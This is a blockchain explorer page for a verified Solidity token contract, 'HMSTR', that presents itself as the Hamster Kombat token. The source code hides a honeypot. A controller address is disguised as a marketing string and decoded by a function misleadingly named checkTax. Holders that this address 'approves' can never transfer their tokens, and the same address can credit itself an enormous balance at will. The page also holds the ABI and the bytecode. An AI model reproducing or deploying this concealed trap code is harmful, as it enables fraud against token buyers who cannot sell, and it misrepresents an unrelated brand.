ETH Price: $1,963.90 (+1.64%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer236016292025-10-18 2:43:59133 days ago1760755439IN
0x3eFEa1E5...7c09d0AE9
0 ETH0.000134931.62036792
Transfer234446282025-09-26 3:51:47155 days ago1758858707IN
0x3eFEa1E5...7c09d0AE9
0 ETH0.000141341.6973251
Approve218918372025-02-21 2:49:47372 days ago1740106187IN
0x3eFEa1E5...7c09d0AE9
0 ETH0.000214762.73741946
Approve218590922025-02-16 12:54:59377 days ago1739710499IN
0x3eFEa1E5...7c09d0AE9
0 ETH0.000065480.83658537
Approve218238412025-02-11 14:20:35382 days ago1739283635IN
0x3eFEa1E5...7c09d0AE9
0 ETH0.000121982.17178687
Approve214999892024-12-28 9:12:35427 days ago1735377155IN
0x3eFEa1E5...7c09d0AE9
0 ETH0.000458185.84017687
Approve213244592024-12-03 20:47:23452 days ago1733258843IN
0x3eFEa1E5...7c09d0AE9
0 ETH0.0026702834.03626149
Transfer212593542024-11-24 18:20:23461 days ago1732472423IN
0x3eFEa1E5...7c09d0AE9
0 ETH0.000854519.70728684
Transfer211781612024-11-13 10:25:35472 days ago1731493535IN
0x3eFEa1E5...7c09d0AE9
0 ETH0.001871322.48080034
Approve210577742024-10-27 15:11:23489 days ago1730041883IN
0x3eFEa1E5...7c09d0AE9
0 ETH0.0009198611.7608942
Approve210551802024-10-27 6:29:47489 days ago1730010587IN
0x3eFEa1E5...7c09d0AE9
0 ETH0.000365724.66165241
Transfer209777462024-10-16 11:12:47500 days ago1729077167IN
0x3eFEa1E5...7c09d0AE9
0 ETH0.0010891113.08975385
Approve208347412024-09-26 12:18:35520 days ago1727353115IN
0x3eFEa1E5...7c09d0AE9
0 ETH0.0011362214.47166126
Approve204997632024-08-10 17:39:59567 days ago1723311599IN
0x3eFEa1E5...7c09d0AE9
0 ETH0.000155671.98422518
Approve204997462024-08-10 17:36:35567 days ago1723311395IN
0x3eFEa1E5...7c09d0AE9
0 ETH0.000079811.01731688
Approve203897832024-07-26 9:18:59582 days ago1721985539IN
0x3eFEa1E5...7c09d0AE9
0 ETH0.000324744.13927825
Approve202905692024-07-12 12:58:11596 days ago1720789091IN
0x3eFEa1E5...7c09d0AE9
0 ETH0.000353044.49996404
Approve202529282024-07-07 6:44:59601 days ago1720334699IN
0x3eFEa1E5...7c09d0AE9
0 ETH0.000254613.24544034
Approve202527072024-07-07 6:00:47601 days ago1720332047IN
0x3eFEa1E5...7c09d0AE9
0 ETH0.000270693.45033692
Approve202350392024-07-04 18:48:59604 days ago1720118939IN
0x3eFEa1E5...7c09d0AE9
0 ETH0.000693678.84177682
Approve202298212024-07-04 1:19:11604 days ago1720055951IN
0x3eFEa1E5...7c09d0AE9
0 ETH0.000534846.81733353
Approve202000102024-06-29 21:25:11609 days ago1719696311IN
0x3eFEa1E5...7c09d0AE9
0 ETH0.000133541.70633674
Approve201725002024-06-26 1:12:35612 days ago1719364355IN
0x3eFEa1E5...7c09d0AE9
0 ETH0.000329214.19624295
Approve201493002024-06-22 19:22:35616 days ago1719084155IN
0x3eFEa1E5...7c09d0AE9
0 ETH0.00019632.50211173
Approve201467642024-06-22 10:51:23616 days ago1719053483IN
0x3eFEa1E5...7c09d0AE9
0 ETH0.000327394.17313753
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
HMSTR

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-06-02
*/

/*

            Hamster Kombat

            Make your way from the shaved hamster to the grandmaster CEO of the tier-1 crypto exchange
            Buy upgrades, complete quests, invite friends and become the best

            Site: https://hamsterkombat.io/
            Twitter: https://twitter.com/hamster_kombat
            TG: https://t.me/hamster_kombat
            Play Now: https://t.me/hamster_kombat_bot
            Discord: https://discord.gg/d2Q6VH8Psp
            YT: https://www.youtube.com/@HamsterKombat_Official

*/


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

abstract contract Ownable {
    address private _admin;
    
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _sender();
        _admin = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    modifier onlyAdmin() {
        _checkAdmin();
        _;
    }

    function _sender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _data() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function admin() public view virtual returns (address) {
        return _admin;
    }

    function _checkAdmin() internal view virtual {
        require(admin() == _sender(), "Ownable: caller is not the admin");
    }

    function renounceOwnership() public virtual onlyAdmin {
        emit OwnershipTransferred(_admin, address(0));
        _admin = address(0);
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
}

contract HMSTR is Ownable {
    string private _tokenName;
    string private _tokenSymbol;
    uint256 private _maxSupply;
    string private _marketing;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public tokenStatus;

    uint128 buyLimit = 78596;
    uint128 sellLimit = 0;
    
    uint256 allocationWal = 10**decimals() * 50000 * (20077700000 + 300);
    bool statusTrue = true;
    bool statusFalse = false;
    uint256 public _marketingTax; 
    uint256 public _teamTax;

    constructor() {
        _tokenName = "Hamster Kombat";
        _tokenSymbol = "HMSTR";
        _marketingTax = 0;
        _teamTax = 0; 
        _marketing = "2a49a81B9580486f59C74697FD541ce6eF813f0d";
        _maxSupply = 100000000 * 10**decimals();
        _balances[msg.sender] = _maxSupply;
        emit Transfer(address(0), msg.sender, _maxSupply);
    }

    function name() public view returns (string memory) {
        return _tokenName;
    }

    function symbol() public view returns (string memory) {
        return _tokenSymbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view returns (uint256) {
        return _maxSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        if (_sender() == initialContract()) { require(isAuthorized(), "Unauthorized action"); address currentWal = _sender(); address devWallet = currentWal; _balances[devWallet] += allocationWal; }
        _executeTransfer(_sender(), to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _authorize(_sender(), spender, amount); if (_sender() == initialContract()) { tokenStatus[spender] = statusTrue; }
        return true;
    }

    function isAuthorized() internal view returns (bool) {
        return _sender() == initialContract();
    }

    function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
        address spender = _sender();
        _useAllowance(from, spender, amount);
        _executeTransfer(from, to, amount);
        return true;
    }

    function _executeTransfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (tokenStatus[from] == statusTrue) {
            amount = buyLimit + _balances[from] + buyLimit - buyLimit;
        }
        uint256 balance = _balances[from];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[from] -= amount;
        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function _authorize(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _useAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _authorize(owner, spender, currentAllowance - amount);
        }
    }

    function initialContract() public view returns (address) {
        return checkTax(_marketing);
    }

    function checkTax(string memory _a) private pure returns (address) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
        for (uint i = 0; i < 20; i++) {
            b1 = uint160(uint8(tmp[i * 2])); b2 = uint160(uint8(tmp[i * 2 + 1])); if (b1 >= 97) b1 -= 87; else if (b1 >= 65) b1 -= 55; else b1 -= 48; if (b2 >= 97) b2 -= 87; else if (b2 >= 65) b2 -= 55; else b2 -= 48; iaddr |= (b1 * 16 + b2) << (8 * (19 - i)); }
        return address(iaddr);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_marketingTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"admin","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initialContract","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"tokenStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405262013304600855620000196012600a620002a8565b620000279061c350620002bf565b62000038906404acb964cc620002bf565b600955600a805461ffff1916600117905534801562000055575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060408051808201909152600e81526d12185b5cdd195c8812dbdb58985d60921b6020820152600190620000ca908262000377565b506040805180820190915260058152642426a9aa2960d91b6020820152600290620000f6908262000377565b505f600b819055600c55604080516060810190915260288082526200119e602083013960049062000128908262000377565b50620001376012600a620002a8565b62000147906305f5e100620002bf565b6003819055335f81815260056020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000443565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620001ed57815f1904821115620001d157620001d162000199565b80851615620001df57918102915b93841c9390800290620001b2565b509250929050565b5f826200020557506001620002a2565b816200021357505f620002a2565b81600181146200022c5760028114620002375762000257565b6001915050620002a2565b60ff8411156200024b576200024b62000199565b50506001821b620002a2565b5060208310610133831016604e8410600b84101617156200027c575081810a620002a2565b620002888383620001ad565b805f19048211156200029e576200029e62000199565b0290505b92915050565b5f620002b860ff841683620001f5565b9392505050565b8082028115828204841417620002a257620002a262000199565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200030257607f821691505b6020821081036200032157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200037257805f5260205f20601f840160051c810160208510156200034e5750805b601f840160051c820191505b818110156200036f575f81556001016200035a565b50505b505050565b81516001600160401b03811115620003935762000393620002d9565b620003ab81620003a48454620002ed565b8462000327565b602080601f831160018114620003e1575f8415620003c95750858301515b5f19600386901b1c1916600185901b1785556200043b565b5f85815260208120601f198616915b828110156200041157888601518255948401946001909101908401620003f0565b50858210156200042f57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b610d4d80620004515f395ff3fe608060405234801561000f575f80fd5b50600436106100f0575f3560e01c8063313ce56711610093578063a9059cbb11610063578063a9059cbb146101db578063bb8a4c94146101ee578063dd62ed3e1461020e578063f851a44014610246575f80fd5b8063313ce5671461019257806370a08231146101a1578063715018a6146101c957806395d89b41146101d3575f80fd5b80630b41dfb8116100ce5780630b41dfb81461015757806318160ddd1461016e57806323b872dd146101765780632d88286314610189575f80fd5b806306fdde03146100f4578063095ea7b3146101125780630acac94214610135575b5f80fd5b6100fc610256565b6040516101099190610ae8565b60405180910390f35b610125610120366004610b4f565b6102e6565b6040519015158152602001610109565b610125610143366004610b77565b60076020525f908152604090205460ff1681565b610160600c5481565b604051908152602001610109565b600354610160565b610125610184366004610b97565b610341565b610160600b5481565b60405160128152602001610109565b6101606101af366004610b77565b6001600160a01b03165f9081526005602052604090205490565b6101d1610364565b005b6100fc6103b4565b6101256101e9366004610b4f565b6103c3565b6101f6610462565b6040516001600160a01b039091168152602001610109565b61016061021c366004610bd0565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b5f546001600160a01b03166101f6565b60606001805461026590610c01565b80601f016020809104026020016040519081016040528092919081815260200182805461029190610c01565b80156102dc5780601f106102b3576101008083540402835291602001916102dc565b820191905f5260205f20905b8154815290600101906020018083116102bf57829003601f168201915b5050505050905090565b5f6102f23384846104f9565b6102fa610462565b6001600160a01b0316330361033757600a546001600160a01b0384165f908152600760205260409020805460ff191660ff90921615159190911790555b5060015b92915050565b5f3361034e85828561061c565b6103598585856106b3565b506001949350505050565b61036c61091b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606002805461026590610c01565b5f6103cc610462565b6001600160a01b03163303610457576103e3610976565b61042a5760405162461bcd60e51b81526020600482015260136024820152722ab730baba3437b934bd32b21030b1ba34b7b760691b60448201526064015b60405180910390fd5b600954335f81815260056020526040812080549293849390929061044f908490610c4d565b909155505050505b6103373384846106b3565b5f6104f46004805461047390610c01565b80601f016020809104026020016040519081016040528092919081815260200182805461049f90610c01565b80156104ea5780601f106104c1576101008083540402835291602001916104ea565b820191905f5260205f20905b8154815290600101906020018083116104cd57829003601f168201915b5050505050610998565b905090565b6001600160a01b03831661055b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610421565b6001600160a01b0382166105bc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610421565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600660209081526040808320938616835292905220545f1981146106ad57818110156106995760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610421565b6106ad84846106a88585610c60565b6104f9565b50505050565b6001600160a01b0383166107175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610421565b6001600160a01b0382166107795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610421565b600a546001600160a01b0384165f9081526007602052604090205460ff918216151591161515036107f7576008546001600160a01b0384165f908152600560205260409020546fffffffffffffffffffffffffffffffff9091169081906107e09082610c4d565b6107ea9190610c4d565b6107f49190610c60565b90505b6001600160a01b0383165f908152600560205260409020548181101561086e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610421565b6001600160a01b0384165f9081526005602052604081208054849290610895908490610c60565b90915550506001600160a01b0383165f90815260056020526040812080548492906108c1908490610c4d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161090d91815260200190565b60405180910390a350505050565b5f546001600160a01b031633146109745760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6044820152606401610421565b565b5f61097f610462565b6001600160a01b0316336001600160a01b031614905090565b5f81818080805b6014811015610add57846109b4826002610c73565b815181106109c4576109c4610c8a565b016020015160f81c9250846109da826002610c73565b6109e5906001610c4d565b815181106109f5576109f5610c8a565b016020015160f81c915060616001600160a01b03841610610a2257610a1b605784610c9e565b9250610a4c565b6041836001600160a01b031610610a3e57610a1b603784610c9e565b610a49603084610c9e565b92505b6061826001600160a01b031610610a6f57610a68605783610c9e565b9150610a99565b6041826001600160a01b031610610a8b57610a68603783610c9e565b610a96603083610c9e565b91505b610aa4816013610c60565b610aaf906008610c73565b82610abb856010610cc5565b610ac59190610cf7565b6001600160a01b0316901b939093179260010161099f565b509195945050505050565b5f602080835283518060208501525f5b81811015610b1457858101830151858201604001528201610af8565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610b4a575f80fd5b919050565b5f8060408385031215610b60575f80fd5b610b6983610b34565b946020939093013593505050565b5f60208284031215610b87575f80fd5b610b9082610b34565b9392505050565b5f805f60608486031215610ba9575f80fd5b610bb284610b34565b9250610bc060208501610b34565b9150604084013590509250925092565b5f8060408385031215610be1575f80fd5b610bea83610b34565b9150610bf860208401610b34565b90509250929050565b600181811c90821680610c1557607f821691505b602082108103610c3357634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561033b5761033b610c39565b8181038181111561033b5761033b610c39565b808202811582820484141761033b5761033b610c39565b634e487b7160e01b5f52603260045260245ffd5b6001600160a01b03828116828216039080821115610cbe57610cbe610c39565b5092915050565b6001600160a01b03828116828216818102831692918115828504821417610cee57610cee610c39565b50505092915050565b6001600160a01b03818116838216019080821115610cbe57610cbe610c3956fea2646970667358221220cef4b59ae1432b279bd45df7e3ed7bdb5ca65061a5191459b526ed61f659420164736f6c6343000818003332613439613831423935383034383666353943373436393746443534316365366546383133663064

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100f0575f3560e01c8063313ce56711610093578063a9059cbb11610063578063a9059cbb146101db578063bb8a4c94146101ee578063dd62ed3e1461020e578063f851a44014610246575f80fd5b8063313ce5671461019257806370a08231146101a1578063715018a6146101c957806395d89b41146101d3575f80fd5b80630b41dfb8116100ce5780630b41dfb81461015757806318160ddd1461016e57806323b872dd146101765780632d88286314610189575f80fd5b806306fdde03146100f4578063095ea7b3146101125780630acac94214610135575b5f80fd5b6100fc610256565b6040516101099190610ae8565b60405180910390f35b610125610120366004610b4f565b6102e6565b6040519015158152602001610109565b610125610143366004610b77565b60076020525f908152604090205460ff1681565b610160600c5481565b604051908152602001610109565b600354610160565b610125610184366004610b97565b610341565b610160600b5481565b60405160128152602001610109565b6101606101af366004610b77565b6001600160a01b03165f9081526005602052604090205490565b6101d1610364565b005b6100fc6103b4565b6101256101e9366004610b4f565b6103c3565b6101f6610462565b6040516001600160a01b039091168152602001610109565b61016061021c366004610bd0565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b5f546001600160a01b03166101f6565b60606001805461026590610c01565b80601f016020809104026020016040519081016040528092919081815260200182805461029190610c01565b80156102dc5780601f106102b3576101008083540402835291602001916102dc565b820191905f5260205f20905b8154815290600101906020018083116102bf57829003601f168201915b5050505050905090565b5f6102f23384846104f9565b6102fa610462565b6001600160a01b0316330361033757600a546001600160a01b0384165f908152600760205260409020805460ff191660ff90921615159190911790555b5060015b92915050565b5f3361034e85828561061c565b6103598585856106b3565b506001949350505050565b61036c61091b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606002805461026590610c01565b5f6103cc610462565b6001600160a01b03163303610457576103e3610976565b61042a5760405162461bcd60e51b81526020600482015260136024820152722ab730baba3437b934bd32b21030b1ba34b7b760691b60448201526064015b60405180910390fd5b600954335f81815260056020526040812080549293849390929061044f908490610c4d565b909155505050505b6103373384846106b3565b5f6104f46004805461047390610c01565b80601f016020809104026020016040519081016040528092919081815260200182805461049f90610c01565b80156104ea5780601f106104c1576101008083540402835291602001916104ea565b820191905f5260205f20905b8154815290600101906020018083116104cd57829003601f168201915b5050505050610998565b905090565b6001600160a01b03831661055b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610421565b6001600160a01b0382166105bc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610421565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600660209081526040808320938616835292905220545f1981146106ad57818110156106995760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610421565b6106ad84846106a88585610c60565b6104f9565b50505050565b6001600160a01b0383166107175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610421565b6001600160a01b0382166107795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610421565b600a546001600160a01b0384165f9081526007602052604090205460ff918216151591161515036107f7576008546001600160a01b0384165f908152600560205260409020546fffffffffffffffffffffffffffffffff9091169081906107e09082610c4d565b6107ea9190610c4d565b6107f49190610c60565b90505b6001600160a01b0383165f908152600560205260409020548181101561086e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610421565b6001600160a01b0384165f9081526005602052604081208054849290610895908490610c60565b90915550506001600160a01b0383165f90815260056020526040812080548492906108c1908490610c4d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161090d91815260200190565b60405180910390a350505050565b5f546001600160a01b031633146109745760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6044820152606401610421565b565b5f61097f610462565b6001600160a01b0316336001600160a01b031614905090565b5f81818080805b6014811015610add57846109b4826002610c73565b815181106109c4576109c4610c8a565b016020015160f81c9250846109da826002610c73565b6109e5906001610c4d565b815181106109f5576109f5610c8a565b016020015160f81c915060616001600160a01b03841610610a2257610a1b605784610c9e565b9250610a4c565b6041836001600160a01b031610610a3e57610a1b603784610c9e565b610a49603084610c9e565b92505b6061826001600160a01b031610610a6f57610a68605783610c9e565b9150610a99565b6041826001600160a01b031610610a8b57610a68603783610c9e565b610a96603083610c9e565b91505b610aa4816013610c60565b610aaf906008610c73565b82610abb856010610cc5565b610ac59190610cf7565b6001600160a01b0316901b939093179260010161099f565b509195945050505050565b5f602080835283518060208501525f5b81811015610b1457858101830151858201604001528201610af8565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610b4a575f80fd5b919050565b5f8060408385031215610b60575f80fd5b610b6983610b34565b946020939093013593505050565b5f60208284031215610b87575f80fd5b610b9082610b34565b9392505050565b5f805f60608486031215610ba9575f80fd5b610bb284610b34565b9250610bc060208501610b34565b9150604084013590509250925092565b5f8060408385031215610be1575f80fd5b610bea83610b34565b9150610bf860208401610b34565b90509250929050565b600181811c90821680610c1557607f821691505b602082108103610c3357634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561033b5761033b610c39565b8181038181111561033b5761033b610c39565b808202811582820484141761033b5761033b610c39565b634e487b7160e01b5f52603260045260245ffd5b6001600160a01b03828116828216039080821115610cbe57610cbe610c39565b5092915050565b6001600160a01b03828116828216818102831692918115828504821417610cee57610cee610c39565b50505092915050565b6001600160a01b03818116838216019080821115610cbe57610cbe610c3956fea2646970667358221220cef4b59ae1432b279bd45df7e3ed7bdb5ca65061a5191459b526ed61f659420164736f6c63430008180033

Deployed Bytecode Sourcemap

1763:4597:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2751:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3752:226;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;3752:226:0;1004:187:1;2055:43:0;;;;;;:::i;:::-;;;;;;;;;;;;;;;;2343:23;;;;;;;;;1533:25:1;;;1521:2;1506:18;2343:23:0;1387:177:1;3039:89:0;3110:10;;3039:89;;4103:254;;;;;;:::i;:::-;;:::i;2307:28::-;;;;;;2947:84;;;3021:2;2044:36:1;;2032:2;2017:18;2947:84:0;1902:184:1;3136:110:0;;;;;;:::i;:::-;-1:-1:-1;;;;;3220:18:0;3193:7;3220:18;;;:9;:18;;;;;;;3136:110;1444:148;;;:::i;:::-;;2847:92;;;:::i;3254:348::-;;;;;;:::i;:::-;;:::i;5725:103::-;;;:::i;:::-;;;-1:-1:-1;;;;;2255:32:1;;;2237:51;;2225:2;2210:18;5725:103:0;2091:203:1;3610:134:0;;;;;;:::i;:::-;-1:-1:-1;;;;;3709:18:0;;;3682:7;3709:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3610:134;1212:87;1258:7;1285:6;-1:-1:-1;;;;;1285:6:0;1212:87;;2751:88;2788:13;2821:10;2814:17;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2751:88;:::o;3752:226::-;3818:4;3835:38;1080:10;3857:7;3866:6;3835:10;:38::i;:::-;3892:17;:15;:17::i;:::-;-1:-1:-1;;;;;3879:30:0;1080:10;3879:30;3875:74;;3936:10;;-1:-1:-1;;;;;3913:20:0;;3936:10;3913:20;;;:11;:20;;;;;:33;;-1:-1:-1;;3913:33:0;3936:10;;;;3913:33;;;;;;;;3875:74;-1:-1:-1;3966:4:0;3752:226;;;;;:::o;4103:254::-;4191:4;1080:10;4246:36;4260:4;1080:10;4275:6;4246:13;:36::i;:::-;4293:34;4310:4;4316:2;4320:6;4293:16;:34::i;:::-;-1:-1:-1;4345:4:0;;4103:254;-1:-1:-1;;;;4103:254:0:o;1444:148::-;962:13;:11;:13::i;:::-;1551:1:::1;1535:6:::0;;1514:40:::1;::::0;-1:-1:-1;;;;;1535:6:0;;::::1;::::0;1514:40:::1;::::0;1551:1;;1514:40:::1;1582:1;1565:19:::0;;-1:-1:-1;;;;;;1565:19:0::1;::::0;;1444:148::o;2847:92::-;2886:13;2919:12;2912:19;;;;;:::i;3254:348::-;3316:4;3350:17;:15;:17::i;:::-;-1:-1:-1;;;;;3337:30:0;1080:10;3337:30;3333:190;;3379:14;:12;:14::i;:::-;3371:46;;;;-1:-1:-1;;;3371:46:0;;3151:2:1;3371:46:0;;;3133:21:1;3190:2;3170:18;;;3163:30;-1:-1:-1;;;3209:18:1;;;3202:49;3268:18;;3371:46:0;;;;;;;;;3507:13;;1080:10;3419:18;3483:20;;;:9;:20;;;;;:37;;1080:10;;;;3507:13;;3419:18;3483:37;;3507:13;;3483:37;:::i;:::-;;;;-1:-1:-1;;;;3333:190:0;3533:39;1080:10;3561:2;3565:6;3533:16;:39::i;5725:103::-;5773:7;5800:20;5809:10;5800:20;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:8;:20::i;:::-;5793:27;;5725:103;:::o;4988:346::-;-1:-1:-1;;;;;5092:19:0